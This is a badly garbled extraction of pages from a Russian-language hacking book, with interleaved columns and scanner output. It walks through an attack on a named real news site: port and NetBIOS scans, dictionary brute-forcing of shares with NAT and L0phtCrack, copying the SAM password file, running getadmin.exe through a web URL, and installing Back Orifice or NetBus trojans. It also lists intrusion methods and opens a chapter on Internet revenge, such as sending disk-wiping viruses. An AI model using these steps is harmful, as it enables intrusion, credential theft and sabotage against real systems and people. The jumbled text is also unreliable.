====================== Pinging www.idahonews.com [198.60.102.4] with 32 bytes of data:

*Inactive IP address* Request timed out.

Request timed out.

Scanning — 198.60.102. Request timed out.

====================== Request timed out.

Commencing Port Scan:

IP адрес сервера отображается через DNS, однако ping не прохо дит. Это означает, что данный сервер прикрыт firewall'ом и сканирование Port 21: Closed его портов будет неудачным. Однако сканирование данной подсети поз Port 23: Closed волит выявить другие сервера домена idahonews.com. Port 25: Open Port 53: Open Для тестирования подсети, в которой находится сервер новостей Port 79: Open штата Айдахо, введем первый адрес подсети в IP в поле «Starting IP» (На Port 80: Closed чальный IP адрес) 198.60.102.1. Затем введем последний адрес подсети в Port 110: Open «Ending Octet» 254 (Конечный октет). Для начала сканирования нажмем Port 111: Closed кнопку «Start scan» (Начать сканирование).

Port 139: Closed После сканирования получим следующие результаты: Port 443: Closed Port 1080: Closed Scanning — 198.60.102. Port 8181: Closed ====================== Commencing Port Scan:

Scanning — 198.60.102. ====================== Port 21: Closed *Inactive IP address* Port 23: Open....

Port 25: Closed....

Port 53: Closed Scanning — 198.60.102. Port 79: Open Взлом Microsoft Windows 2000 147 148 Взлом Microsoft Windows ======================= Port 8181: Closed *Inactive IP address* Scanning — 198.60.102. ======================= Scanning — 198.60.102.39 *Inactive IP address* ======================= Commencing Port Scan:....

....

Port 21: Closed Scanning — 198.60.102. Port 23: Closed ======================= Port 25: Open *Inactive IP address* Port 53: Open Идеальным вариантом при взломе Windows NT были бы открытые Port 79: Open порты 135 139. Тогда бы мы смогли получить массу познавательной ин Port 80: Closed формации о сервере, его сервисах и прочих ресурсах. Однако при скани Port 110: Open ровании мы получили:

Port 111: Closed Scanning — 198.60.102. Port 139: Closed ====================== Port 443: Closed *Inactive IP address* Port 1080: Closed Действительно, данный сервер прикрыт firewall'ом. Попробуем Port 8181: Closed определить его тип, выполнив трейсинг соседних активных хостов. Для Scanning — 198.60.102. этого выполним команду tracert 198.60.102.1 (для UNIX команда trace ======================= route):

*Inactive IP address*....

Tracing route to cisco.idahonews.com [198.60.102.1]over a maximum....

of 30 hops:

Scanning — 198.60.102. 11 240 ms 241 ms 240 ms gbr2 p01.wswdc.ip.att.net ======================= [12.123.8.241] 12 261 ms 260 ms 251 ms gbr1 p40.oc *Inactive IP address* 48.sl9mo.ip.att.net [12.122.2.82] 13 330 ms 301 ms 390 ms gbr2 p50.oc 12.sffca.ip.att.net [12.122.3.17] 14 301 ms 320 ms Scanning — 198.60.102. 311 ms ar2 a3120s4.sffca.ip.att.net [12.127.1.145] 15 401 ms ======================= 350 ms 351 ms 12.126.207.46 16 381 ms 350 ms 371 ms Commencing Port Scan:

cisco.idahonews.com [198.60.102.1] Trace complete Port 21: Closed Еще одной распространенной ошибкой администраторов неболь Port 23: Closed ших сетей является манера давать названия хостам, исходя из выполняе Port 25: Open мой ими функции. Благодаря этому мы получили информацию, что хос Port 53: Open том по адресу 198.60.102.1 является Firewall корпорации Cisco. Его так Port 79: Open просто не хакнешь. Хотя, конечно, существует шанс, что ленивый админ Port 80: Closed забыл сменить заводской пароль. У хоста cisco.idahonews.com открытыми Port 110: Open являются полученные при сканировании Ogre порты: 23 (Telnet), 79.

Port 111: Closed Затем выполним команду tracert 198.60.102.5:

Port 139: Closed Port 443: Closed Tracing route to router.idahonews.com [198.60.102.5]over a maxi Port 1080: Closed mum of 30 hops:

Взлом Microsoft Windows 2000 149 150 Взлом Microsoft Windows 12 260 ms 270 ms 261 ms gbr1 p40.oc 48.sl9mo.ip.att.net включить аудит, сконфигурировать реестр, поставить последние патчи [12.122.2.82] 13 321 ms 310 ms 300 ms gbr2 p50.oc и fix'ы, а также отключить все ненужные службы и привязки (Binding) 12.sffca.ip.att.net [12.122.3.17] 14 310 ms 321 ms 320 ms ar в настройках аппрета «Network» (Сеть).

a300s3.sffca.ip.att.net [12.127.5.177] 15 341 ms 340 ms 371 ms Если сервер новостей штата Айдахо не был подвергнут вышеопи 12.126.207.34 16 371 ms * * 198.60.104.181 17 361 ms санным настройкам, утилита Ogre выдала бы следующую информацию:

361 ms 370 ms router.idahonews.com [198.60.102.5] Scanning 198.60.102. Trace complete ====================== Опять мы получили информацию, что хостом по адресу 198.60.

Commencing Port Scan:

102.5 является маршрутизатор router (который может быть реализован в Port 21: Open виде аппаратного устройства или обычного UNIX роутера). У хоста Допустим, что открыта служба FTP, которая входит в состав IIS.

router.idahonews.com открыты порты: 25 (SMNP почта), 53 (DNS сер вер), 110 (POP сервер). Исходя из открытых портов, можно с уверенно Port 23: Closed стью заявить, что данный сервер является почтовым и DNS сервером.

Port 25: Open Можно с большой уверенностью сказать, что данный маршрутизатор пе Допустим, что открыта служба SMNP, которая входит в состав IIS редает пакеты во внутреннюю локальную подсетку idahonews.com Port 53: Open 192.168.0.*.

Port 79: Closed Трассировка других хостов подсетки 198.60.102.6 253 дала инфор Port 80: Open мацию, что другие IP адреса не имеют никакого отношения к домену Допустим, что открыта служба HTTP, которая входит в состав IIS.

idahonews.com.

Port 110: Open Как мы видим, полученной полезной информации явно не хвата Port 111: Closed ет для проникновения в систему. Для взлома www.idahonews.com необ Port 139: Open ходимо собрать наиболее полную информацию обо всех трех хостах.

Допустим, что возможен File Sharing.

Кроме того, взлом Firewall'ов Cisco и Unix роутеров выходит за границы Port 443: Closed данной темы. Поэтому мы рассмотрим идеальный вариант, при котором Port 1080: Closed сервер Windows NT не был бы прикрыт Firewall'ом и порты 135 139 бы Port 8181: Closed ли бы открыты.

Surveying Web Server:

Checking for Vulnerable URLs:

Глава 12. Frontpage Extensions: Not Present IIS HTML Administration Interface: Present Взлом сервера Windows NT Допустим, что возможно управление сервером через IIS.

IIS Samples: Present Идеальный вариант Commencing Nbtstat Scan:

Итак, рассмотрим идеальный вариант, при котором к сети Internet NetBIOS Remote Machine Name Table подключен сервер Windows NT, который не прикрыт Firewall'ом, и хотя Name Type Status бы один порт в диапазоне 135 139 открыт. Такое иногда бывает и сейчас, когда молодая компания недавно начала свой бизнес, не имеет ни малей Registered Registered Registered Registered Registered Registered шего понятия о том, зачем ей firewall, а также пытается сэкономить день Registered Registered Registered Registered Registered ги. Кроме того, может быть, в такой компании работает неопытный сис MAC Address = XX XX XX XX XX XX темный администратор, который просто инсталлирует Windows NT и Символами X, Y и Z заменены реальные значения, которые мы устанавливает последний Service Pack. Затем ставится и настраивается получили бы, если бы сервер не был firewall'ом.

IIS, после чего админ успокаивается, хотя ему следовало, прежде всего, Взлом Microsoft Windows 2000 151 152 Взлом Microsoft Windows YYYYY <00> UNIQUE Имя машины Использование программы NAT для подбора YYYYY <20> UNIQUE паролей к выделенным в совместное ZZZZZZZZZ <00> GROUP использование ресурсам ZZZZZZZZZ <1C> GROUP Наиболее удобной и полнофункциональной из этих утилит явля ZZZZZZZZZ <1B> UNIQUE ется программа NetBIOS Auditing Tool, реализации которой есть как под ZZZZZZZZZ <1E> GROUP UNIX, так и под Win32.

YYYYY <03> UNIQUE ZZZZZZZZZ <1D> UNIQUE Изначально программа Nat была создана для выполнения различ INet~Services <1C> GROUP ных проверок защиты операционных систем, использующих NetBIOS.

..MSBROWSE.<01> GROUP Данная программа работает в режиме командной строки. Вот ее син IS~YYYYY.......<00> UNIQUE таксис:

Кроме того, информацию по NetBIOS мы можем получить, вы NAT [ O <ФАЙЛ_РЕЗУЛЬТАТОВ>] [ U <ФАЙЛ_СПИСКА_ПОЛЬЗОВАТЕЛЕЙ>] полнив команду nbtstat A x.x.x.x.Для расшифровки кодов имен NetBIOS [ P <ФАЙЛ_ СЛОВАРЯ_ПАРОЛЕЙ>] вы можете использовать описания кодов.

По умолчанию в качестве файла списка пользователей использу Термин UNIQUE означает, что одному имени которого ется файл Userlist.txt. Подправим этот файл, добавив в него новые имена, присвоен один IP адрес;

полученные при помощи программы Ogre. Файл словаря паролей лучше взять из программы L0phtCrack, сохранить под именем Passlist.txt. Доба Термин GROUP означает нормальную группу, одному вим в него имена, полученные при помощи программы Ogre. Затем из имени которой может принадлежать группа IP адресов.

командной строки выполним программу nat:

Для идеального варианта, который мы рассматриваем, мы полу NAT o REZALT.TXT 198.60.102. чили информацию, от которой можно отталкиваться при взломе Программа NAT произведет тестирование всех сетевых служб, Windows NT.

пробуя произвести подключение.

Из этой информации можно понять, что сервер предоставляет до Обычно данный процесс бывает довольно длительным, продол ступ для выделенных в совместное использование ресурсов и FTP.

жительность его зависит от того, насколько удачно были составлены Затем можно попробовать зайти на сервер, используя бюджеты, файлы списка пользователей и паролей. Однако с большой уверенно которые стандартно присутствуют в Windows NT (Guest, Administrator), стью можно сказать, что программа NAT сумеет подобрать пароль к од однако наверняка у вас ничего не получится. Кроме того, вы можете по ному из бюджетов в промежутке от 30 минут до 50 часов.

пытаться использовать бюджеты IIS (Internet Information Service), обыч Далее процессу взлома сервера Windows NT гарантирован практи но они выглядят так IUSR_<имя машины>. При помощи утилиты Ogre чески 100% успех. Время, которое потребуется для взлома системы, зави мы получили информацию, что имя машины YYYYY, следовательно, бю сит от того, насколько туп администратор системы. Если программе NAT джет IIS будет IUSR_ YYYYY.Однако и с этим вариантом, наверное, тоже удалось определить пароль для бюджета Administrator, то на этом процесс ничего не получится.

взлома успешно закончен и вы можете делать с сервером практически Для взлома сервера Windows NT с выделенными в совместное ис что угодно.

пользование каталогами вам следует использовать утилиты, которые Если бюджет, который программа NAT определила, не является позволяют производить подключение к выделенным ресурсам с пользо бюджетом Administrator, то время взлома зависит от того, какими воз вательскими бюджетами и выполняют подбор пароля из словаря и/или можностями обладает данный аккаунт и на какие ресурсы он имеет пра прямым перебором всех возможных вариантов.

ва доступа. Может быть, удастся подсоединить диск, используя команду NET USE, и скопировать резервную копию файла базы данных паролей SAM._ из каталога WINNT/REPAIR для последующего вскрытия при по мощи программы L0phtCrack, как уже было описано выше.

Взлом Microsoft Windows 2000 153 154 Хакерские трюки Кроме того, подсоединив диск при помощи NET USE (или при Хакерские трюки помощи FTP), может быть, удастся загрузить на удаленный компьютер одну из программ, которые помогут получить права администратора (Getadmin и т.д.). Для выполнения таких программ удаленно на серверах Windows NT следует скопировать данные в каталог скриптов или в InetPub/cgi bin. Затем, используя браузер, можно выполнить удаленно Глава 1.

на сервере данные программы, введя в строке адреса строчку:

http://www.idahonews/scripts/getadmin.exe?mmmm Классификация методов взлома где mmmm является именем пользователя, пароль которого вы оп компьютеров ределили.

Допустим, что вы имеете какой либо доступ к сети и хотите рас Таким же образом возможно выполнить любую хакерскую утили ширить свои возможности путем проникновения на другие компьютеры ту вроде PWDUMP.EXE (для получения хэша пароля администратора) или повысив свои права на машине, с которой вы работаете. Поэтому все или троянские программы вроде Back Orifice или NetBus (http://indigo.ie/ методы взлома делятся на две группы:

~lmf/nb.htm), которые позволят сделать довольно многое.

Методы для проникновения на компьютер из сети Подбор пароля. Критерий — время. Следует иметь в виду то, что обычно на большинстве UNIX login с удаленного терминала пользователю root запрещен. Поэтому обычно подбирают пароли обычных пользователей.

Использование ошибок операционных систем для получения информации о пользователях на машине (например, login&password).

Использование сканирования проходящих в сети пакетов (sniffing), для получения информации о пользователе( ях).

«Троянские кони» — программы, содержащие в себе некий «довесок» и «подаренные» на атакуемую машину.

Один из новых способов: использование ошибок в WWW обозревателях и возможностей новых элементов WWW страниц — JAVA, ActiveX. В этих недавно появившихся средствах создания интерактивных WWW страниц используется технология перекачки некого кода и/или скрипта на машину пользователя и затем их автоматический запуск.

Методы повышения своих прав на компьютере В этом случае все зависит от операционной системы компьютера, на котором вы хотите добиться повышенных привилегий. У каждой есть свои дыры;

про стандартные не имеет смысла рассказывать, разве что Хакерские трюки 155 156 Хакерские трюки в качестве классических примеров, и они уже давно заткнуты, про ос Глава 3.

тальные, естественно, никто не расскажет — т.к. их тут же заткнут, так Как навредить недругу с помощью Internet что ищите. Это могут быть, например:

Некорректно написанные программы (не проверяющие на В качестве инструмента мести Internet идеален. Он представляет корректность вводимые данные, имеющие массу доселе не использованных возможностей. Думается, что даже та недокументированные команды, флаги и т.д.).

кие заслуженные специалисты в этом вопросе, как герои «Трех мушкете ров» Александра Дюма, живи они в эпоху повальной интернетизации об Неправильные права доступа к системным файлам и щества, могли бы почерпнуть здесь немало нового для себя. Представьте директориям (например, при инсталляции QNX все себе: вместо того, чтобы мотаться по всей Франции, переодеваясь то системные директории имеют флаги rwxrwxrwx, а автор мужчиной, то монахиней, Миледи просто отправляет Д'Артаньяну программы mqc заботливо оставил SUID'ный командный е мейл с вирусом, который напрочь стирает всю информацию с жестко файл с такими же атрибутами).

го диска. Скорее всего, после этого известие о смерти Констанции пока В компьютерном мире существуют много организаций, занима залось бы ему мало заслуживающим внимания.

ющихся нахождением и информированием об ошибках и дырках в опе Способы испортить жизнь своему недругу, пользуясь Internetом, рационных системах, в целях их скорейшего нахождения и исправления хороши, прежде всего, легкостью и малым количеством затрачиваемых системными администраторами, но кто мешает хакеру тоже получать та сил. Месть можно осуществить, что называется, не вставая с дивана. Од кого рода информацию? Обычно немедленное использование получен нако не надо слишком уж полагаться на эту обманчивую легкость.

ной информации дает результаты.

Internet месть имеет свою специфику, свои плюсы и минусы, и, если за быть о вторых, упиваясь исключительно первыми, то навредить можно в первую очередь себе самому. Давайте попробуем вкратце ознакомиться с Глава 2.

различными способами мести через Internet, для удобства разделив их на Стандартные пароли в операционных несколько групп:

системах Грубые В некоторых случаях возможен подбор пароля для входа в систему. Пошлые До недавнего времени пользователи выбирали пароли, которые легко за Пролонгированного действия помнить, или даже оставляли те, которые стоят в системе по умолчанию при инсталляции. Если у вас не хватает фантазии, вы можете поэкспери Изысканные.

ментировать с этим списком:

Pages:     | 1 || 3 | 4 |   ...   | 5 |



© 2011 www.dissers.ru - «Бесплатная электронная библиотека»

Материалы этого сайта размещены для ознакомления, все права принадлежат их авторам.
Если Вы не согласны с тем, что Ваш материал размещён на этом сайте, пожалуйста, напишите нам, мы в течении 1-2 рабочих дней удалим его.